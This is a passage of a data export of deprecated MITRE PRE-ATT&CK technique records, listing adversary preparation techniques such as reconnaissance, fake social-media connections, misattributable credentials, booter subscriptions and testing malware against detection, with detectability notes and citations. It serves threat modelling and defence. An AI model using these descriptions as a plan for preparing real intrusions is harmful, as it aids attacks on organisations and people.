16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1262). - -Client configurations information such as the operating system and web browser, along with additional information such as version or language, are often transmitted as part of web browsing communications. This can be accomplished in several ways including use of a compromised web site to collect details on visiting computers. (Citation: UnseenWorldOfCookies) (Citation: Panopticlick)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1262', external_id='T1262'), ExternalReference(source_name='UnseenWorldOfCookies', description='Joanna Geary, Chris Cross. (2012, April 13). Tracking the trackers: help us reveal the unseen world of cookies. Retrieved March 5, 2017.'), ExternalReference(source_name='Panopticlick', description='Electronic Frontier Foundation. (n.d.). Panopticlick: Is your browser safe against tracking?. Retrieved March 5, 2017.')]",attack-pattern--78ae433b-289d-4c8d-b8c1-f8de0b7f9090,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='technical-information-gathering')]",2020-10-26 13:42:49.342000+00:00,Enumerate client configurations,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,"Typical information collected as part of accessing web sites (e.g., operating system, browser version, basic configurations).",,Yes,Basic web scripting capability to collect information of interest on users of interest. Requires a compromised web site and the users of interest to navigate there.,,,,,PRE-T1039,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1364). - -A form of social engineering designed build trust and to lay the foundation for future interactions or attacks. (Citation: BlackHatRobinSage)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1364', external_id='T1364'), ExternalReference(source_name='BlackHatRobinSage', description='Ryan, T. (2010). “Getting In Bed with Robin Sage.”. Retrieved March 6, 2017.', url='http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf')]",attack-pattern--eacd1efe-ee30-4b03-b58f-5b3b1adfe45d,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='stage-capabilities')]",2020-10-26 13:42:49.342000+00:00,Friend/Follow/Connect to targets of interest,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,"Users have the ability to detect and report non-authenticated individuals requesting to follow, friend or connect to a target. However the rigidity in validating the users is not typically followed by standard users.",,Yes,"Connecting with ""friends"" is a fundamental requirement for social media - without it, social media is worthless. An adversary can easily create a profile and request targets to validate the requests.",,,,,PRE-T1141,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1233). - -Analysts identify gap areas that generate a compelling need to generate a Key Intelligence Topic (KIT) or Key Intelligence Question (KIQ). (Citation: BrighthubGapAnalysis) (Citation: ICD115) (Citation: JP2-01)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1233', external_id='T1233'), ExternalReference(source_name='BrighthubGapAnalysis', description='Ronda Bowen. (2014, March 26). Performing a Gap Analysis: Where Do You Begin?. Retrieved March 14, 2017.'), ExternalReference(source_name='ICD115', description='Office of the Director of National Intelligence. (2012, December 21). ICD 115: Intelligence Community Capability Requirements Process. Retrieved March 2, 2017.'), ExternalReference(source_name='JP2-01', description='Joint Chiefs of Staff. (2012, January 05). Joint and National Intelligence Support to Military Operations. Retrieved March 2, 2017.')]",attack-pattern--0fad2267-9f46-4ebb-91b5-d543243732cb,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='priority-definition-planning')]",2020-10-26 13:42:49.342000+00:00,Identify analyst level gaps,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,"Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.",,Yes,Normal aspect of adversary planning lifecycle. May not be done by all adversaries.,,,,,PRE-T1010,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1270). - -Personnel internally to a company may belong to a group or maintain a role with electronic specialized access, authorities, or privilege that make them an attractive target for an adversary. One example of this is a system administrator. (Citation: RSA-APTRecon)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1270', external_id='T1270'), ExternalReference(source_name='RSA-APTRecon', description='Rotem Kerner. (2015, October). RECONNAISSANCE: A Walkthrough of the “APT” Intelligence Gathering Process. Retrieved March 1, 2017.')]",attack-pattern--89a79d91-53e0-4ef5-ba28-558cb8b01f76,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='people-information-gathering')]",2020-10-26 13:42:49.342000+00:00,Identify groups/roles,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,Searching publicly available sources that cannot be monitored by a defender.,,No,Requires an adversary to undergo an intensive research process. It is resource intensive or requires special data access. May be easier for certain specialty use cases.,,,,,PRE-T1047,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1271). - -Personnel internally to a company may have non-electronic specialized access, authorities, or privilege that make them an attractive target for an adversary. One example of this is an individual with financial authority to authorize large transactions. An adversary who compromises this individual might be able to subvert large dollar transfers. (Citation: RSA-APTRecon)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1271', external_id='T1271'), ExternalReference(source_name='RSA-APTRecon', description='Rotem Kerner. (2015, October). RECONNAISSANCE: A Walkthrough of the “APT” Intelligence Gathering Process. Retrieved March 1, 2017.')]",attack-pattern--762771c2-3675-4535-88e9-b1f891758974,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='people-information-gathering')]",2020-10-26 13:42:49.342000+00:00,Identify personnel with an authority/privilege,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,The layers of data required and potential gaps of information to map a specific person to an authority or privilege on a network requires access to resources that may not tip off a defender.,,No,Requires an adversary to undergo an intensive research process. It is resource intensive or requires special data access. May be easier for certain specialty use cases.,,,,,PRE-T1048,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1246). - -Supply chains include the people, processes, and technologies used to move a product or service from a supplier to a consumer. Understanding supply chains may provide an adversary with opportunities to exploit the technology or interconnections that are part of the supply chain. (Citation: SmithSupplyChain) (Citation: CERT-UKSupplyChain) (Citation: RSA-supply-chain)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1246', external_id='T1246'), ExternalReference(source_name='SmithSupplyChain', description='Drew Smith. (2015). Is your supply chain safe from cyberattacks?. Retrieved March 5, 2017.'), ExternalReference(source_name='CERT-UKSupplyChain', description='CERT-UK. (2016, October 01). Cyber-security risks in the supply chain. Retrieved March 5, 2017.'), ExternalReference(source_name='RSA-supply-chain', description='RSA Research. (2017, February). KINGSLAYER – A SUPPLY CHAIN ATTACK. Retrieved May 9, 2017.')]",attack-pattern--78e41091-d10d-4001-b202-89612892b6ff,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='technical-information-gathering')]",2020-10-26 13:42:49.342000+00:00,Identify supply chains,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,"Difficult, if not impossible to detect, because the adversary may collect this information from external sources that cannot be monitored by a defender.",,No,Supply chain diversity of sourcing increases adversary difficulty with accurate mapping. Industry practice has moved towards agile sourcing.,,,,,PRE-T1023,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1336). - -An adversary needs the necessary skills to set up procured equipment and software to create their desired infrastructure. (Citation: KasperskyRedOctober)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1336', external_id='T1336'), ExternalReference(source_name='KasperskyRedOctober', description='Kaspersky Labs. (2013, January 14). Kaspersky Lab Identifies Operation “Red October,” an Advanced Cyber-Espionage Campaign Targeting Diplomatic and Government Institutions Worldwide. Retrieved March 6, 2017.')]",attack-pattern--73e394e5-3d8a-40d1-ab8c-a1b4ea9db424,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='establish-&-maintain-infrastructure')]",2020-10-26 13:42:49.342000+00:00,"Install and configure hardware, network, and systems",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,Defender will not have visibility on 3rd party sites unless target is successfully enticed to visit one.,,Yes,"Skills are common to majority of computer scientists and ""hackers"". Can be easily obtained through contracting if not organic to adversary's organization.",,,,,PRE-T1113,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1322). - -The use of credentials by an adversary with the intent to hide their true identity and/or portray them self as another person or entity. An adversary may use misattributable credentials in an attack to convince a victim that credentials are legitimate and trustworthy when this is not actually the case. (Citation: FakeSSLCerts)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1322', external_id='T1322'), ExternalReference(source_name='FakeSSLCerts', description='Paul Mutton. (2014, February 12). Fake SSL certificates deployed across the internet. Retrieved March 1, 2017.')]",attack-pattern--31fa5b03-1ede-4fab-8a68-ed831fcf4899,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='adversary-opsec')]",2020-10-26 13:42:49.342000+00:00,Misattributable credentials,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,Partial,"If a previous incident identified the credentials used by an adversary, defenders can potentially use these credentials to track the adversary through reuse of the same credentials.",,Yes,"An adversary can easily create and use misattributable credentials to obtain servers, build environment, [https://aws.amazon.com AWS] accounts, etc. Many service providers require some form of identifiable information such as a phone number or email address, but there are several avenues to acquire these consistent with the misattributable identity.",,,,,PRE-T1099,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1331). - -Obfuscation is hiding the day-to-day building and testing of new tools, chat servers, etc. (Citation: FireEyeAPT17)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1331', external_id='T1331'), ExternalReference(source_name='FireEyeAPT17', description='FireEye. (2015, May). APT17: Hiding in Plain Sight - FireEye and Microsoft Expose Obfuscation Tactic. Retrieved March 6, 2017.')]",attack-pattern--72c8d526-1247-42d4-919c-6d7a31ca8f39,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='establish-&-maintain-infrastructure')]",2020-10-26 13:42:49.342000+00:00,Obfuscate infrastructure,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,Defender will generally not have visibility into their infrastructure.,,Yes,Building and testing infrastructure and obfuscating it to protect it against intrusions are a standard part of the adversary process in preparing to conduct an operation against a target.,,,,,PRE-T1108,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1396). - -Configure and setup booter/stressor services, often intended for server stress testing, to enable denial of service attacks. (Citation: Krebs-Anna) (Citation: Krebs-Booter) (Citation: Krebs-Bazaar)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1396', external_id='T1396'), ExternalReference(source_name='Krebs-Anna', description='Brian Krebs. (2017, January 18). Who is Anna-Senpai, the Mirai Worm Author?. Retrieved May 15, 2017.', url='https://krebsonsecurity.com/2017/01/who-is-anna-senpai-the-mirai-worm-author/'), ExternalReference(source_name='Krebs-Booter', description='Brian Krebs. (2016, October 27). Are the Days of “Booter” Services Numbered?. Retrieved May 15, 2017.', url='https://krebsonsecurity.com/2016/10/are-the-days-of-booter-services-numbered/'), ExternalReference(source_name='Krebs-Bazaar', description='Brian Krebs. (2016, October 31). Hackforums Shutters Booter Service Bazaar. Retrieved May 15, 2017.', url='https://krebsonsecurity.com/2016/10/hackforums-shutters-booter-service-bazaar/')]",attack-pattern--3d1488a6-59e6-455a-8b80-78b53edc33fe,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='establish-&-maintain-infrastructure')]",2020-10-26 13:42:49.342000+00:00,Obtain booter/stressor subscription,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,"Purchase of booster services is not observable; potentially can trace booster service used to origin of sale, yet not before attack is executed. Furthermore, subscription does not automatically mean foul intention.",,Yes,"Easily accessible and used to launch DDoS attacks by even novice Internet users, and can be purchased from providers for a nominal fee, some of which even accept credit cards and PayPal payments to do.",,,,,PRE-T1173,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1353). - -After compromise, an adversary may utilize additional tools to facilitate their end goals. This may include tools to further explore the system, move laterally within a network, exfiltrate data, or destroy data. (Citation: SofacyHits)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1353', external_id='T1353'), ExternalReference(source_name='SofacyHits', description=""Kaspersky Lab's Global Research & Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved March 9, 2017."")]",attack-pattern--df42286d-dfbd-4455-bc9d-aef52ac29aa7,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='build-capabilities')]",2020-10-26 13:42:49.342000+00:00,Post compromise tool development,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,"Adversary will likely use code repositories, but development will be performed on their local systems.",,Yes,Post compromise tool development is a standard part of the adversary's protocol in developing the necessary tools required to completely conduct an attack.,,,,,PRE-T1130,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1239). - -Applicable agencies and/or personnel receive intelligence requirements and evaluate them to determine sub-requirements related to topics, questions, or requirements. For example, an adversary's nuclear energy requirements may be further divided into nuclear facilities versus nuclear warhead capabilities. (Citation: AnalystsAndPolicymaking)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1239', external_id='T1239'), ExternalReference(source_name='AnalystsAndPolicymaking', description='Jack Davis. (2002, September). Improving CIA Analytic Performance: Analysts and the Policymaking Process. Retrieved March 5, 2017.')]",attack-pattern--acfcbe7a-4dbc-4471-be2b-134faf479e3e,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='priority-definition-direction')]",2020-10-26 13:42:49.342000+00:00,Receive KITs/KIQs and determine requirements,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,"Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.",,Yes,Normal aspect of adversary planning lifecycle. May not be done by all adversaries.,,,,,PRE-T1016,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1290). - -If an adversary can identify which security tools a victim is using they may be able to identify ways around those tools. (Citation: CrowdStrike Putter Panda)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1290', external_id='T1290'), ExternalReference(source_name='CrowdStrike Putter Panda', description='Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.', url='http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf')]",attack-pattern--b26babc7-9127-4bd5-9750-5e49748c9be3,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='technical-weakness-identification')]",2020-10-26 13:42:49.342000+00:00,Research visibility gap of security vendors,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,Public source external to the defender's organization.,,No,"Requires in-depth research and potentially other intrusions, requires unbounded amount of work to possibly find a return on investment",,,,,PRE-T1067,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1317). - -An adversary may secure and protect their infrastructure just as defenders do. This could include the use of VPNs, security software, logging and monitoring, passwords, or other defensive measures. (Citation: KrebsTerracottaVPN)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1317', external_id='T1317'), ExternalReference(source_name='KrebsTerracottaVPN', description='Brian Krebs. (2014, August 4). Chinese VPN Service as Attack Platform?. Retrieved March 6, 2017.')]",attack-pattern--cc0faf66-4df2-4328-9c9c-b0ca5de915ad,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='adversary-opsec')]",2020-10-26 13:42:49.342000+00:00,Secure and protect infrastructure,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,Indistinguishable from standard security practices employed by legitimate operators.,,Yes,"Adversary benefits from our own advances, techniques, and software when securing and protecting their own development infrastructure.",,,,,PRE-T1094,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1393). - -Many mobile devices are configured to only allow applications to be installed from the mainstream vendor app stores (e.g., Apple App Store and Google Play Store). An adversary can submit multiple code samples to these stores deliberately designed to probe the stores' security analysis capabilities, with the goal of determining effective techniques to place malicious applications in the stores that could then be delivered to targeted devices. (Citation: Android Bouncer) (Citation: Adventures in BouncerLand) (Citation: Jekyll on iOS) (Citation: Fruit vs Zombies)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1393', external_id='T1393'), ExternalReference(source_name='Android Bouncer', description='Jon Oberheide and Charlie Miller. (2012). DISSECTING THE ANDROID BOUNCER. Retrieved April 12, 2017.'), ExternalReference(source_name='Adventures in BouncerLand', description='Nicholas J. Percoco and Sean Schulte. (2012). Adventures in BouncerLand. Retrieved April 12, 2017.'), ExternalReference(source_name='Jekyll on iOS', description='Tielei Wang, Kangjie Lu, Long Lu, Simon Chung, and Wenke Lee. (2013). Jekyll on iOS: When Benign Apps Become Evil. Retrieved April 12, 2017.'), ExternalReference(source_name='Fruit vs Zombies', description='Claud Xiao. (2016). Fruit vs Zombies: Defeat Non-jailbroken iOS Malware. Retrieved April 12, 2017.')]",attack-pattern--c9e85b80-39e8-42df-b275-86a2afcea9e8,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='test-capabilities')]",2020-10-26 13:42:49.342000+00:00,Test ability to evade automated mobile application security analysis performed by app stores,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,"The app store operators (e.g., Apple and Google) may detect the attempts, but it would not be observable to those being attacked.",,Yes,"An adversary can submit code remotely using throwaway accounts, although a registration fee may need to be paid for each new account (e.g., $99 for Apple and $25 for Google Play Store).",,,,,PRE-T1170,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1292). - -An adversary can test the detections of malicious emails or files by using publicly available services, such as virus total, to see if their files or emails cause an alert. They can also use similar services that are not openly available and don't publicly publish results or they can test on their own internal infrastructure. (Citation: WiredVirusTotal)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1292', external_id='T1292'), ExternalReference(source_name='WiredVirusTotal', description='Kim Zetter. (14, September 2). A Google Site Meant to Protect You Is Helping Hackers Attack You. Retrieved March 9, 2017.')]",attack-pattern--57061a8a-d7c5-42a9-be60-f79526b95bf6,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='technical-weakness-identification')]",2020-10-26 13:42:49.342000+00:00,Test signature detection,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,Partial,"If using a common service like [https://www.virustotal.com VirusTotal], it is possible to detect. If the adversary uses a hostile, less well-known service, the defender would not be aware.",,Yes,Easy to automate upload/email of a wide range of data packages.,,,,,PRE-T1069,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1362). - -An adversary may stage software and tools for use during later stages of an attack. The software and tools may be placed on systems legitimately in use by the adversary or may be placed on previously compromised infrastructure. (Citation: APT1) (Citation: RedOctober)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1362', external_id='T1362'), ExternalReference(source_name='APT1', description='Mandiant. (n.d.). APT1: Exposing One of China’s Cyber Espionage Units. Retrieved March 5, 2017.'), ExternalReference(source_name='RedOctober', description='GReAT. (2013, January 17). “Red October”. Detailed Malware Description 4. Second Stage of Attack. Retrieved March 7, 2017.')]",attack-pattern--e8471f43-2742-4fd7-9af7-8ed1330ada37,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='stage-capabilities')]",2020-10-26 13:42:49.342000+00:00,"Upload, install, and configure software/tools",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,"Infrastructure is (typically) outside of control/visibility of defender and as such as tools are staged for specific campaigns, it will not be observable to those being attacked.",,Yes,"Adversary has control of the infrastructure and will likely be able to add/remove tools to infrastructure, whether acquired via hacking or standard computer acquisition (e.g., [https://aws.amazon.com AWS], VPS providers).",,,,,PRE-T1139,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1266). - -Open source intelligence (OSINT) provides free, readily available information about a target while providing the target no indication they are of interest. Such information can assist an adversary in crafting a successful approach for compromise. (Citation: RSA-APTRecon)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1266', external_id='T1266'), ExternalReference(source_name='RSA-APTRecon', description='Rotem Kerner. (2015, October). RECONNAISSANCE: A Walkthrough of the “APT” Intelligence Gathering Process. Retrieved March 1, 2017.')]",attack-pattern--2b9a666e-bd59-4f67-9031-ed41b428e04a,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='people-information-gathering')]",2020-10-26 13:42:49.342000+00:00,Acquire OSINT data sets and information,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,This activity is indistinguishable from legitimate business uses and easy to obtain.,,Yes,"Possible to gather digital intelligence about a person is easily aided by social networking sites, free/for fee people search engines, and publicly available information (e.g., county databases on tickets/DUIs).",,,,,PRE-T1043,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1308). - -A wide variety of 3rd party software services are available (e.g., [Twitter](https://twitter.com), [Dropbox](https://www.dropbox.com), [GoogleDocs](https://www.google.com/docs/about)). Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: LUCKYCAT2012) (Citation: Nemucod Facebook)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1308', external_id='T1308'), ExternalReference(source_name='LUCKYCAT2012', description='Forward-Looking Threat Research Team. (2012). LUCKYCAT REDUX: Inside an APT Campaign with Multiple Targets in India and Japan. Retrieved March 1, 2017.'), ExternalReference(source_name='Nemucod Facebook', description='Bart Blaze. (2016, November 20). Nemucod downloader spreading via Facebook. Retrieved March 28, 2017.')]",attack-pattern--1a295f87-af63-4d94-b130-039d6221fb11,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='adversary-opsec')]",2020-10-26 13:42:49.342000+00:00,Acquire and/or use 3rd party software services,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,Defender will not have visibility over account creation for 3rd party software services.,,Yes,3rd party services like these listed are freely available.,,,,,PRE-T1085,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1293). - -An adversary can probe a victim's network to determine configurations. The configurations may provide opportunities to route traffic through the network in an undetected or less detectable way. (Citation: Li2014ExploitKits) (Citation: RecurlyGHOST)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1293', external_id='T1293'), ExternalReference(source_name='Li2014ExploitKits', description='Brooks Li. (2014, December 17). What’s New in Exploit Kits in 2014. Retrieved March 6, 2017.'), ExternalReference(source_name='RecurlyGHOST', description='Mark Poole. (2015, January 27). GHOST vulnerability (CVE-2015-0235) in popular Linux library glibc allows remote code execution. Retrieved March 6, 2017.')]",attack-pattern--fe421ab9-c8f3-42f7-9ae1-5d6c324cc925,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='technical-weakness-identification')]",2020-10-26 13:42:49.342000+00:00,Analyze application security posture,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,This can be done offline after the data has been collected.,,Yes,"Analyze technical scanning results to identify weaknesses in the configuration or architecture. Many of the common tools highlight these weakness automatically (e.g., software security scanning tools or published vulnerabilities about commonly used libraries).",,,,,PRE-T1070,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1300). - -Analyze strengths and weaknesses of the target for potential areas of where to focus compromise efforts. (Citation: FakeLinkedIn)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1300', external_id='T1300'), ExternalReference(source_name='FakeLinkedIn', description='LIFARS. (2015, October 8). Hackers Fake LinkedIn Profiles to Scout Targets. Retrieved March 5, 2017.')]",attack-pattern--7baccb84-356c-4e89-8c5d-58e701f033fc,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='organizational-weakness-identification')]",2020-10-26 13:42:49.342000+00:00,Analyze organizational skillsets and 